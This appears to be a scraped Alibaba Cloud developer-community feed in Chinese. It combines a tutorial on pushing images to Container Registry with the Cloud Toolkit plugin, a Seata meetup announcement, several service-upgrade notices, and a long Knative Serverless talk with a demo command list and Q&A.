        想听软萌音在线讲解?阿里云小姐姐直播,手把手教你,12月5日晚上8点—9点,直播间等你(还有弹幕截屏送礼品!)

        容器镜像服务 ACR

        为了更好地支持双十一大规模分发需求,容器镜像服务(Alibaba Cloud Container Registery, ACR)团队提前进行规划及迭代更新,全面提升了大规模分发场景下的性能、可观测性和稳定性。在新的双十一来临前,容器镜像服务已达到了 PB 的镜像托管量,月均镜像拉取达数亿次,平滑度过 54.4 万笔交易峰值。

        阿里云镜像仓库 ACR 分为默认实例版与企业版,虽然结合阿里云产品做了多维度优化,但是并不与阿里云强制绑定。ACR 默认实例版面向容器开发者,提供安全的镜像托管、便捷的镜像授权功能,方便用户进行镜像全生命周期管理,并且简化了 Registry 的搭建运维工作,支持全球 20 个地域的镜像托管。ACR 企业版面向安全需求高、业务多地域大规模部署的企业级客户,提供大规模镜像分发能力、企业级的安全独享特性,以及云原生应用交付链,全链路可观测、可跟踪以及可设置,可实现一次应用变更,多场景自动化交付。
        1

        如何搭配 免费 IDE 插件实现一键部署

        2

        Cloud Toolkit 是一款免费的本地 IDE 插件,很多技术博客都有相关的测评,是一款口碑较好的插件。它能够帮助开发者更高效地开发、测试、诊断并部署应用。设置好插件的初始配置之后,可以将本地应用一键部署到任意服务器 Host,甚至云端(ECS、ACR、Kubernetes 和 小程序云 等);并且还内置了 Arthas 诊断、Dubbo工具、Terminal 终端、文件上传、函数计算 和 MySQL 执行器等工具,减少了切换工作界面的时间,灵巧且实用,推荐安装试用一波。下面介绍,插件如何将应用一键部署到容器镜像服务 ACR 。

        开发者的部署包从形成镜像到镜像仓库,手动操作的话,每一次都需要经历下图 4 个步骤:登录阿里云Docker Registr--> 从Registry中拉取镜像 --> 将镜像推送到Registry --> 选择合适的镜像仓库地址,但是,使用 Cloud Toolkit ,开发者可以实现在本地 IDE 就能一键部署到镜像仓库。

        (一)配置插件首选项

        安装完插件之后,点击:顶部菜单Tools --> Alibaba Cloud Toolkit --> Preferences-->左边列表的 Alibaba Cloud Toolkit--> Accounts ,出现如下界面,配置阿里云账号的 AK 和 SK,即可完成首选项配置。(如果是子账号,则填写子账号的 AK 和 SK)

        3

        (二)设置本地 Docker 镜像打包

        点击:顶部菜单Tools --> Alibaba Cloud Toolkit --> Preferences --> 左边列表的 Alibaba Cloud Toolkit --> Docker,如下图,设置本地 Docker 镜像打包。

        4

        (三)部署应用

        第一步:在 Intellij IDEA 中,如下图点击:顶部菜单Tools --> Alibaba Cloud -->Deploy to ACR/ACK --> Deploy to ACR

        5

        第二步:设置 Image

        • 在 Image 标签页中,选择本地应用程序的 Context Directory 和 Dockerfile (通常会根据您本地的应用工程自动识别并设置)。
        • 选择容器镜像服务的地域、命名空间和镜像仓库。

        6

        第三步:执行部署

        点击 Run 按钮之后,即可完成将本地 Docker 镜像推送到 ACR 中去。

        如何运用 CICD/云原生应用交付链 实现持续集成与交付

        7

        ACR企业版的云原生交付链在托管交付分发等方面进一步提升,历经双11大促,沉淀了云原生应用万节点协同的技术经验。

        目前支持容器镜像、Helm Chart 两类云原生应用资产,并采用独立网络访问控制,可细粒度控制公网及VPC 网络的访问策略,仅允许符合策略的来源方访问资产,保障访问安全。

        同时实现了整个应用交付周期的流程自动化,开发者只要一次变更应用,按照配置多场景交付,即可实现一次应用变更,全球化多场景自动交付。
        8

        在应用交付环节,ACR EE 支持自动发起静态安全扫描并自定义配置安全阻断策略。一旦识别到静态应用中存在高危漏洞后,可自动阻断后续部署链路。用户可基于漏洞报告中的修复建议,更新优化构建成新的镜像版本,再次发起交付。

        建设 CICD 体系还需要考虑到整体稳定和尽可能不断提升整体交付能力,比如监控报警、容错容灾、依赖治理、限流降级、容量规划。这里可以和大家分享 ACR 团队的相关经验:

        • 在依赖治理方面,要对云原生应用交付链中相关重点环节及外部依赖进行统一管理,识别热点仓库及追踪交付链执行结果;
        • 在限流降级方面,最好分析识别云原生应用分发核心环节的主次业务功能,优先保障主要业务逻辑完成,次要业务逻辑可降级延后处理;
        • 在容量规划方面,平台根据上下游业务变化情况,对资源进行按需扩容,确保云原生应用正常交付完成。

        容器镜像服务 ACR 与 插件 Cloud Toolkit 免费面向开发者,帮助技术人员提高开发、部署效率,在减少时间成本的同时提高了业务的质量,还有双十一的顶级洪峰流量场景作为实践案例,希望这篇文章能帮助到有需要的人,并通过相关文章快速上手,真正实现业务价值。

        有疑问的同学可以 钉钉扫码 加群解决:

        k8s 社区
        93b3628c50ba4a6746f68be0f50ea87ef1a1327f.png



        IDE 插件群
        0a43e54e4738bffb3a1fd28cb221a0040b0b7ad7.jpeg

        ]]>
        Seata GA Meetup 杭州站,报名啦! Fri, 02 May 2025 09:39:04 +0800 Seata GA Meetup 杭州站免费报名!

        • Seata AT 模式的精髓是什么?
        • Seata 的过去、现在和未来都是怎样的?

        Seata 项目发起人清铭,煊檍为大家现场解读。

        When & Where ?

        活动时间:2019年12月21日13:30 ~18:00
        活动地点:浙江省杭州市余杭区良睦路 1399 号梦想小镇互联网村 26 号浙江青年众创空间
        参会收益:Seata 项目发起人清铭给大家全面介绍《Seata 的过去、现在和未来》以及 Seata 1.0 的新特性。更有 Seata 在互联网医疗,滴滴出行上的落地实践现场分享。
        福利放送:来到现场的同学可打包下载讲师 PPT ,提供精美茶歇,还有阿里公仔,天猫精灵等好礼等你来拿。

        点击“传送门”,免费报名啦~,这一次,你会来么?



        seata 不带人头.png

        ]]>
        【升级】12月18日DDoS高防(新BGP)系统升级通知 Fri, 02 May 2025 09:39:04 +0800

        【阿里云】【DDos高防】【升级通知】

        升级窗口:北京时间2019年12月18日 00:00 - 06:00
        升级内容:云盾高防(新BGP)机房进行系统升级操作。
        升级影响:升级期间,业务无影响,极端情况下部分强安全校验的IP需要重新认证,会导致TCP连接闪断4-6次。闪断对短连接和具备自动重连的长连接业务基本无影响,请确保您在业务上做好重连重试机制,以增强业务的容错能力。

        给您带来的不便敬请谅解,有任何问题,可随时通过工单或服务电话95187联系反馈。

        ]]>
        【升级】12月27日DDoS高防系统升级通知 Fri, 02 May 2025 09:39:04 +0800

        【阿里云】【DDos高防】【升级通知】

        升级窗口:北京时间2019年12月27日 00:00 - 06:00
        升级内容:云盾高防华北联通机房进行系统升级操作。
        升级影响:升级期间,业务无影响,极端情况下部分强安全校验的IP需要重新认证,会导致TCP连接闪断8次。闪断对短连接和具备自动重连的长连接业务基本无影响,请确保您在业务上做好重连重试机制,以增强业务的容错能力。

        给您带来的不便敬请谅解,有任何问题,可随时通过工单或服务电话95187联系反馈。

        ]]>
        【升级】12月20日图数据库GDB老实例关闭读写通道,12月31日商业化 Fri, 02 May 2025 09:39:04 +0800

        【阿里云】【图数据库 GDB】【重要变更通知】
        变更时间:北京时间 2019年12月20日 00:00
        变更内容:图数据库GDB老实例(12.11日前申请的实例)关闭读写操作
        变更影响:尊敬的公测用户,GDB预计于2019年12月31日商业化。计划将于2019.12.20日关闭12.11日前申请的老实例的读写通道,并于2019.12.30日释放老实例。建议您删除不再使用的老实例,免费申请新实例测试;对于在用的老实例,可在12.30日前免费创建新实例,将数据备份恢复到新实例后,再删除老实例。
        给您带来的不便敬请谅解,有任何问题,可随时通过工单或服务电话95187反馈。

        ]]>
        【升级】Datahub升级通知 Fri, 02 May 2025 09:39:04 +0800

        【阿里云】【Datahub】【升级通知】

        升级区域:华北,华南,新加坡,吉隆坡,孟买,法国

        升级时间:北京时间2019年12月18日 10:00 - 18:00

        升级影响:升级过程用户读写请求会有短暂失败重试

        升级内容:本次新版本2.14后将有如下特性 :

        1)支持同步ots非主键字段指定类型;
        2)支持同步ots使用append方式;
        3)支持同步es 6.0;
        4)支持企业用户按照uid来设置project数量;
        5)同步maxcompute逻辑改进;
        6)增加schema的数量限制校验;
        7)访问日志格式化改进;

        ]]>
        【升级】12月15日新BGP高防系统升级通知 Fri, 02 May 2025 09:39:04 +0800

        【阿里云】【DDos高防】【升级通知】

        升级窗口:北京时间2019年12月15日 06:00 - 09:00
        升级内容:云盾新BGP高防机房进行系统升级操作。
        升级影响:升级后新BGP高防线路将新增回源网段,具体网段信息如下所示。

        新BGP高防线路新增回源网段信息:

        47.113.25.0/24

        如果您当前正在使用新BGP高防线路并且在服务器侧有相关针对源IP的访问控制策略,请及时更新白名单放行上述回源网段,避免进行机房异地容灾时误拦截造成业务影响。升级期间,业务无影响,极端情况下部分强安全校验的IP需要重新认证,会导致TCP连接闪断2-4次。闪断对短连接和具备自动重连的长连接业务基本无影响,请确保您在业务上做好重连重试机制,以增强业务的容错能力。
        给您带来的不便敬请谅解,有任何问题,可随时通过工单或服务电话95187联系反馈。

        ]]>
        Knative Serverless 之道:如何 0 运维、低成本实现应用托管?-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 作者 | 牛秋霖(冬岛)  阿里云容器平台技术专家

        关注“阿里巴巴云原生”公众号,回复关键词“1205”即可观看 Knative-Demo 演示视频。

        导读:Serverless 无疑是当前最热的云原生话题,那么作为业务的开发人员或者运维人员咱们应该怎么看待这个事情?云原生和 Serverless 到底有什么关系?通过本次分享咱们将逐一揭开这些神秘的面纱。

        通过本文您将了解到:

        1. Knative 是如何让普通的应用具备 Serverless 能力的?
        2. 为什么说 Knative 是云原生的应用 Serverless 编排引擎?
        3. Knative 为什么是由 Tekton 、Eventing 和 Serving 三个模块组成,以及这三个模块的协作方式。

        本文共有四部分内容:首先咱们一起来看一下云的核心驱动力是什么,接着从这个核心驱动力出发看一下云原生应用是什么样子。然后咱们再一起来看看 Knative 到底给应用的云原生化带来了什么价值,最后咱们通过一个 Demo 亲身感受一下 Knative 带来的这些能力。

        云的核心驱动力

        在讨论云原生之前我们先来思考一下:为什么企业要上云、为什么技术人员要学习面向云的编程思维以及咱们应该怎么看待云这件事儿。

        咱们先来剖析一下发生这些事情的核心驱动力,然后通过这个核心驱动力出发看看整个云原生技术栈是什么样子。

        社会分工

        1.png

        我们先从一顿火锅谈起,一顿火锅虽然很简单,但会涉及到非常多的东西,比如各种蔬菜、牛羊肉等。细想一下,所有的这些东西我们都经常食用,但是其中有哪些东西是我们自己亲手种植或养殖的呢?事实上都没有,我们每天都是坐在办公室,下班的路上到市场或超市买到这些东西,不知道也并不关心这些东西的具体生产过程。

        我小时候在内蒙的农村长大,大家都知道,内蒙很大。村里每户人家都有一个大园子,夏天的时候家家户户都会在园子里种植各种蔬菜,如西红柿、黄瓜、茄子、辣椒等;但到了冬天,由于天气很冷,根本见不到新鲜的蔬菜,大家吃的都是咸菜、酸菜,或者是秋天晾晒的一些干菜。我们可以发现:一个地域非常容易受到季节的影响,虽然夏天可以种植各种蔬菜,但是到了冬天就什么都没有了。但是现在就不同了,全国各地随处都能非常容易地买到新鲜蔬菜,这其实是社会分工的结果、是不同地域、不同角色之间通过市场相互协作的成果。

        现在因为有专业的人在做这些事情,所以我们大多数人都无需劳心蔬菜是怎么种植的。而我们工程师所做的和计算机打交道的事情也能通过其他的渠道反过来帮助那些种菜的人。

        分工提高效率,这是现代经济学之父亚当斯密 200 多年前在他的经典著作《国富论》中的开篇观点。其实现代社会的运行机制也印证了该理论;我认为它也是企业拥抱云计算的根本原因。因为大家需要把一些非业务核心的部分“承包”给专业的人士去完成,那些和自己的业务强相关的部分才是企业的核心竞争力。

        应用上云

        2.png

        接着咱们再来看看一个应用都是由哪些部分构成的。

        应用要提供服务首先要有计算、存储和网络资源才能把进程跑起来。当然这些也仅仅是把进程跑起来,如果要承接具体的业务还需要依赖数据库等服务;如果要做分布式架构还需要做微服务拆分,这时候就需要缓存、注册中心、消息各种中间件的服务。

        以上的情况都是程序已经存在,如何把程序跑起来承接业务的部分。还有一部分是如何把代码变成可启动的程序,这就是 CICD 部分了。从代码到应用启动再到应用依赖的周边系统支撑都说完了,还有一部分就是日常运维相关的:

        • 比如日志收集、分析
        • 比如监控和告警

        虽然我们本来只是想要写一个应用,来为业务提供服务。但是应用周边的这些支撑系统比这个应用自身的消耗还要高上很多。这其实不是我们期望的结果,让业务团队更多的聚焦在业务逻辑本身,而不是周边的这些系统上,这才是我们希望看到的。

        3.png

        实际上有一定规模的公司,内部的组织架构基本也都是由一个基础平台团队和多个业务团队构成的,基础平台团队负责提供这些应用需要的公共能力支撑,业务团队更聚焦在业务上,直接使用基础平台团队的能力即可。这其实就是社会分工在 IT 组织中的体现,专业的人做专业的事儿,分工提升效率。

        现在我们再回顾一下刚才吃火锅的例子。

        如果时间倒退 20 年,回到北方的冬天,我们想要吃一顿有肉、有蔬菜、还有金针菇的火锅,根本就不可能,但是现在,我们可以随时随地买到这些东西,而所有这些都是专业的人士生产的,我们无法自给自足这么丰富的资源。

        那么对于一家企业而言,也是一样的。虽然每个企业都有自己的基础平台团队,但是由于规模或者资金投入等原因,不可能提供像云这么丰富的平台支撑。如果有,那一定也是一个云厂商。所以对于业务来说,把所有和应用相关的周边系统都使用云的初始设施搭建,把这些周边系统承包给云厂商才是高效率的做法。我理解为这就是云原生出现的背景。

        分工提高效率这是大家使用云的根本动力。云原生理念是在各大企业上云的过程中逐渐形成和完善的。这套理念是协调所有参与方对服务上云逐渐形成的统一标准,这个统一的标准可以很好地帮助企业上云、帮助云厂商释放云的能力。从云的客户角度来讲,这个统一标准就是避免云厂商锁定。比如 Kubernetes 就是一个非常好的统一共识,因为所有云平台都支持 Kubernetes。

        4.png

        那么这个标准的价值是什么呢?为什么云厂商和上云的企业都积极参与这个标准的“制定”呢?这其实是一个互利互惠的结果。在具体谈论这个标准的作用之前,我们先来聊聊两种资源分配模式的差别。

        排队(先到先得)

        这部分咱们以就医为例进行说明。

        去医院看病需要提前挂号,医生的号源这是一种先到先得的资源分配方式。特别是在北上广这些大城市,好医生的号源更是一号难求。如果想保证一定要拿到某个医生的就诊号,就要保证比别人都更早地到医院排队,提前排队可以优先拿到就诊号。我们现在来分析一下,提前排队的人所付出的努力都有什么价值。

        • 对于排队的当事人:当事人付出的努力对于自己是有意义的,自己拿到了就诊号,得到了回报;
        • 对于其他的排队者而言,是没有任何好处的。早来的人拿到了就诊号,这就给别的竞争号源的人发出了一个信号——来的越早就越有可能得到号源。这有可能引发更多人更早的前来排队,这是一个恶性循环;
        • 对于医生来说,没有任何意义,谁来看病都是一样,谁得到这个号对医生来说差别不大。很多时候甚至患者要求加号,但医生其实是不愿意的,因为每增加一个号源就意味着医生要付出一点儿休息的时间。对于医生而言,多付出的休息时间是不能换来更多报酬的,因为这是一个先到先得的排队秩序规则,每一个号源的价格都是一样的。

        有没有发现在排队的过程中所做出的付出只对排队的当事人是有意义的,对于医生以及其他排队者都没有任何意义,甚至会带来恶性竞争,造成社会资源的巨大浪费。在排队的过程中,大量的资源都白白地流失,没有给社会带来任何价值。

        市场经济

        这部分我们以购买云服务器 ECS 为例进行说明。

        假设目前阿里云的 ECS 是性价比最高的,大家上云都优先选择使用阿里云的 ECS,那么如果出现供不应求的情况就可能会导致 ECS 价格上涨,而价格上涨就会导致更多的云厂商供应 ECS ,最终导致价格又回落下来。我们分析一下在这个过程中购买 ECS 的人和提供 ECS 的云厂商之间的关系:

        • 我们发现大量客户选购 ECS 这件事情本身对于上云的客户是有益无害的,因为大量的需求会导致云厂商做更多的供应,价格不可能持续高攀。所以 ECS 需求的竞争者之间其实不是零和博弈,而是一个相互合作的关系。大家一起把饼做大,就让整个供应链更稳定、便宜。就好比我买苹果手机,你也买苹果手机,但是咱俩不是竞争关系,而且买的人越多,苹果手机的质量就会越来越好;
        • 大量的 ECS 需求会促使 ECS 技术的成熟。对于 ECS 的提供者云厂商而言,越多的人购买自己的服务就越好,所有的客户和云厂商之间都是相互促进的关系。

        市场经济这种基于价格的自由交易能够非常高效地促进大家的合作,任何一方的努力对于其他的参与者而言都是有价值的。和医院排队中先到的人付出的努力只对自己产生价值相比较,市场经济的自由交易方式中,每一方的付出都让整个系统得到了优化,这是社会资源合理利用、合理分配的一种非常好的方式。

        5.png

        是不是感觉扯远了,这和云计算有什么关系?我们继续来剖析一下市场经济,就可以看到和云计算的密切关系了。

        我们先来看一下这个场景:如果云厂商 A 提供的服务性价比很高,但是有一天云厂商 B 提供了性价比更高的服务,客户会不会立即把服务迁移到云厂商 B 上去?答案是客户想要迁移,但是比较难迁移。因为每一个云厂商提供的服务标准都不太一样,服务迁移的过程需要适配大量差异化的底层基础设施,这给迁移带来了巨大的成本,甚至抵消了云厂商 B 提供的高性价比,所以平常比较少见到这种迁移。

        前面咱们分析了市场经济的资源分配方式是非常有利于社会各方面资源进行最优配置的,可是如果云客户不能在云厂商之间低成本的流动,其实就很难选择性价比高的云厂商。所以从有效配置社会资源这个角度来分析,现在迫切需要一个能够让客户在不同云厂商之间低成本“流动”的体系,而这就是云原生的意义所在。

        如果把客户要在云上托管的应用比喻成水的话,那么云服务的价格就是海拔的高度。哪里海拔低,水就很自然的流到哪里去。无限降低迁移的成本,对于客户和云厂商来说都是非常有价值的一件事情。云原生旨在以标准化云服务的提供方式衔接云厂商和客户。这种方式对于客户而言降低了上云和跨云迁移的成本,让客户始终保有和云厂商议价的能力;对云厂商而言,因为客户跨云迁移的成本低,所以只要能提供性价比更高的云服务,就能很容易的聚集大量用户。

        云原生是在不断促进整个系统的良性循环:既能让客户始终保有选择的能力,又能让优秀的云厂商快速服务更多的客户。如果客户的业务服务能像水一样低成本在不同云厂商之间流通,那么云厂商提供的服务就能像货币一样在客户之间流通。这是一个多赢的局面。

        云原生应用

        说完云原生这个理念,我们来看一下云原生应用,以及在云原生的这个大背景下,如何看待传统的应用架构?

        云上基础设施

        6.png

        无论是云上的应用,还是云下的应用,其实依赖的核心要素都没有变,只是这些核心要素的提供形式发生了变化。

        如上图所示,共有 7 个核心要素。这 7 个要素中日常运维这一块其实不是强依赖的,虽然它对业务的稳定性影响极大,但是这并不是业务跑起来的核心链路,没有这些业务也能跑,而其它的几块都是核心链路。那么我们就来看一下在云原生架构下,这些核心链路的要素都处于什么位置?然后剖析一下云原生应用的基本范式。

        云原生技术栈

        7.png

        我们先来看看最右边的中间件这一块,里面有数据库、Redis 以及消息中间件组件。而这一块其实是应用代码里面直接调用的,并且这里包含的所有能力都有标准的协议,比如无论是使用 SQL Server 还是使用 MySQL,我们程序里都可以使用 SQL 规范进行操作。这部分其实早就被标准化了。 

        如图所示,计算、存储和网络这三个核心要素已经被 Kubernetes 层统一了。很多云服务已经实现了计算、存储和网络资源的无服务器化,比如阿里云的 ECI 和 ASK(Aliyun Serverless Kubernetes)。那么还有两块 CICD 和应用托管没有标准化,这就是应用编排这一层需要标准化的事情。Serverless 其实不单单是无服务器,还包括应用本身的编排,这也是应用编排这一层的价值所在。

        云原生应用 Serverless 编排

        Serverless Kubernetes 已经提供了 Pod 的无服务器支持,而应用层想要用好这个能力其实还有很多事情需要处理。

        • 弹性:

          • 缩容到零
          • 突发流量
        • 灰度发布

          • 如何实现灰度发布
          • 灰度发布和弹性的关系
        • 流量管理

          • 灰度发布的时候如何在 v1 和 v2 之间动态调整流量比例
          • 流量管理和弹性是怎样一个关系
          • 当有突发流量的时候如何和弹性配合,做到突发请求不丢失

        我们发现虽然基础资源可以动态申请,但是应用如果要做到实时弹性、按需分配和按量付费的能力还是需要有一层编排系统来完成应用和 Kubernetes 的适配。这个适配不单单要负责弹性,还要有能力同时管理流量和灰度发布。

        Knative 应运而生

        上文中的内容就是 Knative 要解决的问题,这也是 Knative 出现的背景。接下来咱们来看看 Knative 。

        Knative 是什么

        8.png

        我们先看看官方给出的定义:“基于 Kubernetes 平台,用于构建、部署和管理现代 Serverless 工作负载”。Knative 就是基于 Kubernetes 的应用 Serverless 编排系统。实际上 Knative 包含的不单单是 Workload,它还有 Kubernetes 原生的流程编排引擎和完备的事件系统。

        前面提到 Kubernetes 实现了计算、存储和网络的标准化,而 Knative 目标基于 Kubernetes 提供了应用 Serverless 工作负载编排的标准化。

        Knative 核心模块

        9.png

        Knative 由三个核心模块构成:Tekton、Eventing 和 Serving。

        • Tekton 是 Kubernetes 原生的流程编排框架,主要用于构建 CICD 系统;
        • Eventing 主要负责事件处理功能,可以接入外部系统的事件,事件接入以后进行一系列的流程处理以及触发 Serving 消费事件;
        • Serving 是应用运行工作负载的核心管理模块,主要负责流量调度、弹性以及灰度发布等职责。

        Tekton

        10.png

        Tekton 是一套 Kubernetes 原生的流程编排框架,主要用于构建 CICD 系统。比如从源码编译成镜像,以及对镜像里的服务进行测试、把镜像发布成应用等一系列的操作都可以基于 Tekton 完成。

        Tekton 里面基本的执行单元是 Task。>

        • Task 里面可以包含多个顺序执行的 Step。一个 Task 最终就是一个 Pod,里面的每一个 Step 最终执行的时候就是一个 Container 。每提交一个 TaskRun CRD 到 Kubernetes 就会触发一次 Task 的执行;
        • Pipeline 可以编排多个 Task,Pipeline 中的 Task 是可以设置依赖关系。Pipeline 会根据依赖关系生成一个有向无环图,然后生成的根据有向无环图并发或者串行执行一系列的 Task。每提交一个 PipelineRun CRD 就会触发 Pipeline 的一次执行;
        • PipelineResource 代表 Pipeline 使用或者生成的资源,比如:github 代码仓库、依赖或者使用的镜像等等;
        • Tekton 是 Kubernetes 原生的实现,所以资源鉴权的秘钥等信息都可以通过 Kubernetes 的 Secret 进行管理。

        Eventing

        11.png

        Eventing 模块基于 CloudEvent 标准实现了一系列的事件处理机制。Eventing 模块的核心能力分成四大块。

        • 外部事件接入

        Eventing 有很强的扩展机制,可以接入任何外部事件源的事件,比如 github 里面的 commit、pull request 等事件;Kubernetes 里面的事件;消息系统里面的消息;以及 OSS、表格存储、Redis 等系统的事件。

        • CloudEvent 标准

        Eventing 接入外部事件以后会转换成 CloudEvent 格式,事件在内部的流转都是通过 CloudEvent  事件标准完成的。

        • 事件在内部的处理

        Eventing 模块引入的 Broker 、Trigger 模型,不仅将事件复杂的处理实现给用户屏蔽起来,更提供了丰富的事件订阅、过滤机制。

        • 事件处理事务管理

        Eventing 基于可靠的消息系统,可以对事件进行事务管理。如果事件消费失败可以进行重试或者重新分发等操作。

        Serving

        12.png

        Serving 核心的 CRD 就是 Service,Knative Controller 通过 Service 的配置自动操作 Kubernetes 的 Ingress、K8s Service 和 Deployment 从而实现简化应用管理的目标。

        Knative Service 对应一个叫做 Configuration 的资源,每次 Service 变化如果需要创建新的 Workload 就更新 Configuration,然后每次 Configuration 更新都会创建一个唯一的 Revision,Revision 可以认为是 Configuration 的版本管理机制。理论上 Revision 创建完以后是不会修改的,不同的 Revision 一般用于灰度发布。

        Route 是 Knative 管理流量的核心逻辑,Knative 是建立在 Istio 之后的,Knative  Route Controller 通过 Route 的配置自动生成 Istio 的 VirtualService 资源,从而实现了流量的管理。

        Knative  Serving 对应用 Workload 的 Serverless 编排是从流量开始的。

        流量首先达到 Knative 的 Gateway,Gateway 根据 Route 的配置自动把流量根据百分比拆分到不同的 Revision 上,然后每一个 Revision 都有一个自己独立的弹性策略。当过来的流量请求变多的时候当前 Revision 就开始自动扩容。每一个 Revision 的扩容策略都是独立的,相互不影响。

        基于流量百分比对不同的 Revision 进行灰度,每一个 Revision 都有一个自己独立的弹性策略。Knative Serving 通过对流量的控制实现了流量管理、弹性和灰度三者的完美结合。

        Knative 的云原生特性

        14.png

        Kubernetes 是业界公认的云原生操作系统,作为云原生的 Serverless 编排引擎 Knative 当然是兼容 Kubernetes API 的。

        Knative 本身就是开源的,你可以在任何 Kubernetes 集群上面部署一套 Knative 。同样,你在任何 Knative 集群里面的服务都可以无缝迁移到另外一个 Knative 集群。如果你的服务是搭建在 Knative 之上,那么你的服务就可以像水一样在各个云厂商流通,任何一个云厂商的 Kubernetes 搭建好 Knative 就能轻松地把你的服务部署起来。咱们透过下面这个支持列表可以看到 Knative 已经被大量的厂商或平台支持:

        云原生的力量就在于此,开放的标准得到了广泛的支持。作为使用云的客户,基于这种开放的标准其实就是始终保有和服务商议价的权利,哪里的服务好就到哪里去,否则就有可能会被一家锁定。对于云厂商而言,通过开放的标准可以接入更多的客户,而这个标准之下的具体实现,每家都会根据自身特点进行支持,这也是云厂商的核心竞争力。

        Knative 的典型应用场景

        15.png

        介绍了这么多,接下来咱们就捋一捋 Knative 都适合在哪些场景中使用。

        应用 Serverless 编排场景 

        Knative Serving 从流量入手对应用进行 Serverless 编排。

        首先 Knative 基于 Istio Gateway 来接管服务的流量,可以做到按百分比对流量进行切分。切分的流量可以直接用于灰度发布,比如把按百分比切分的流量直接转给一个 Revision,精准地控制每一个 Revision 承接的流量百分比,从而达到精准控制灰度版本对线上服务应用的范围。

        Knative 的弹性策略是作用在每一个 Revision 之上的,不同的 Revision 根据“自己的节奏”独自伸缩,实现了从流量到灰度灰度再到弹性这三者的完美结合,所有应用弹性托管诉求都可以通过 Knative 来实现。下面这些场景非常适合使用 Knative 来解决:

        • 比如托管微服务应用
        • 比如托管 Web 服务
        • 比如托管 gRPC 服务

        事件驱动

        Knative 的 Eventing 提供了完整的事件模型,可以很容易地接入各个外部系统的事件。事件接入以后通过 CloudEvent 标准在内部流转,Broker/Trigger 机制给事件处理提供了非常好的方式。

        这套完备的事件系统可以比较容易的实现事件驱动的服务,比如:

        • IOT 场景
        • 比如和各种云产品的事件对接,从而实现云产品状态更新自动触发一个服务等

        基于 Tekton 的 Pipeline

        基于 Tekton 构建 CICD 系统等,比如:

        • 当 gihub 有代码提交以后自动触发镜像构建、服务发布流程
        • 当 docker 镜像仓库有镜像提交的时候,自动对镜像进行测试以及发布成服务等

        MicroPaaS

        基于 Knative Servering 部署服务,你就无需手动操作 Kubernetes 资源,这样可以大大降低使用 Kubernetes 的门槛。所以如果不是维护 Kubernetes 系统、或者要基于 Kubernetes 做复杂的开发,就可以使用 Knative 来管理自己的服务,非常便捷。

        客户案例

        16.png

        阿里云 Knative 现在都有哪些典型的客户案例?

        Web 服务托管

        Web 托管服务其实就是前面介绍的 MicroPaaS 类型的场景,客户使用 Knative 是为了简化使用 Kubernetes 的复杂度。即便不使用 Knative 的弹性也可以带来应用托管效率的提升。

        应用 Serverless 编排

        • 微服务托管场景
        • web 应用托管和弹性
        • 小程序、公众号后台
        • 电商服务后台

        AI 服务托管

        • 基于任务队列的弹性伸缩
        • 使用 ECI 做弹性,有效降低长期保有资源的成本

        SaaS 服务托管

        • SaaS 用户提交代码之后自动给用户构建镜像
        • SaaS 用户自己推送了一个镜像之后自动帮助用户发布服务
        • CMS 系统 SaaS 提供商可以通过 Helm Chart 非常方便地给用户部署一套全新的服务

        SpringCloud 微服务托管

        把 Knative Service 的地址注册到注册中心,通过 Knative 的能力实现微服务的流量切分、灰度发布和弹性。这样 Knative 就给普通的微服务应用赋予了 Serverless 能力。

        构建 CICD 系统

        • 基于 git 代码仓库的自动构建、服务发布的 CICD 系统
        • 当 docker 镜像仓库有新镜像的时候自动执行测试或者服务发布

        OSS 事件

        • 当 OSS 中新增一个文件自动触发机器学习任务的执行,对图片进行分析、识别等
        • 当 OSS 中新增一个视频文件,自动触发一个任务处理视频,比如视频内容识别等

        TableStore 事件

        • Feed 流系统设计
        • 社交信息发送通知等

        Demo 演示

        17.png

        Demo 执行的命令如下:

        https://help.aliyun.com/document_detail/126413.html 
        https://github.com/knative-sample/cloud-native-go-weather
        缩容到零的场景  http://weather-web.default.live.kuberun.com/#/   
        https://tracing-analysis.console.aliyun.com/#/appList/cn-shenzhen 
        registry.cn-hangzhou.aliyuncs.com/knative-sample/weather-detail:limit-v1 
        hey -z 60s -c 30  http://weather-web.default.live.kuberun.com/api/city/detail/010/2019-12-05 
        helm install ./chart --name live-weather --namespace live
        helm delete live-weather --purge 

        关注“阿里巴巴云原生”公众号,回复关键词“1205”即可观看演示视频。

        欢迎加入钉钉交流群

        18.jpeg

        Q & A

        Q1:开发怎么远程调试 K8s 中的应用?
        A1:Kubernetes 底层首先是一个容器,那咱们就从容器谈起。容器相对于宿主机来说其实只是把业务进程限制在一个更合理的权限范围内,在调试容器里面的业务进程时可以直接 docker exec 到容器内。到了容器内部就和一个 vm 没有什么差别了。而 Kubernetes 的 Deployment 可以认为是编排很多容器,每一个容器都可以通过 宿主机 docker exec 进去。当然也可以通过 Kubernetes 的方式 kubectl exec 到容器内进行调试。如果实在初期调试阶段建议使用比较完整的 CentOS 或者 Ubuntu 镜像,基础镜像内要有一些基本的调试工具。摸索熟悉了之后可以使用精简的基础镜像,这样更经济。

        Q2:Knative 的 build 和开发流程管理可以代替 jenkins 吗?
        A2:Knative 的 Build 现在是 Tekton 。Tekton 本身的定位不是替换 Jenkins,它的核心理念是建立在 Kubernetes 生态之上。比如 Pod 的执行力度,每一个 Pod 内可以包含很多容器,每一个容器是一个 step,这样我们就可以使用不同的镜像驱动容器,每一个容器内部的环境都是可以完全自定义的。并且容器之间以及 Pod 之间共享资源都是通过 Kubernetes 的模式提供的。另外我们知道 CICD 系统一般都会被运维系统集成,在被集成的的场景中 Tekton 的优势是比较大的。Tekton 是可以通过 Kubernetes API 进行操作的,而 Jenkins 的 API 以及设计理念都是需要单独学习的,这些都是成本。核心还是在于 Kubernetes 这个生态比较强大,而未来的趋势 Kubernetes 将是一个必备技能。在这个大环境下掌握 Tekton 的成本就更低,向前看 Tekton 正在成为主流。

        Q3:Knative 编排和 K8s 应用编排的区别及应用场景?
        A3:Kubernetes 的最大价值是把对 IaaS 资源的操作标准化了,比如无论是在 AWS 还是在阿里云上面使用计算、存储、网络等资源,都可以直接通过 Kubernetes 语义完成,不需要关系不同厂商底层差异化的实现。而 Knative 才是面向应用的编排。Knative 对应用的 Serverless 编排主要体现在:对流量、灰度策略以及弹性的管理,并且流量、灰度和弹性这三者是完美契合在一起的。从另一个角度来说 Knative 是建立在 Kubernetes 之上的,Knative 需要使用 Kubernetes 提供的对 IaaS 的标准化服务。这二者是上下层的依赖和被依赖的关系,不是竞争关系。

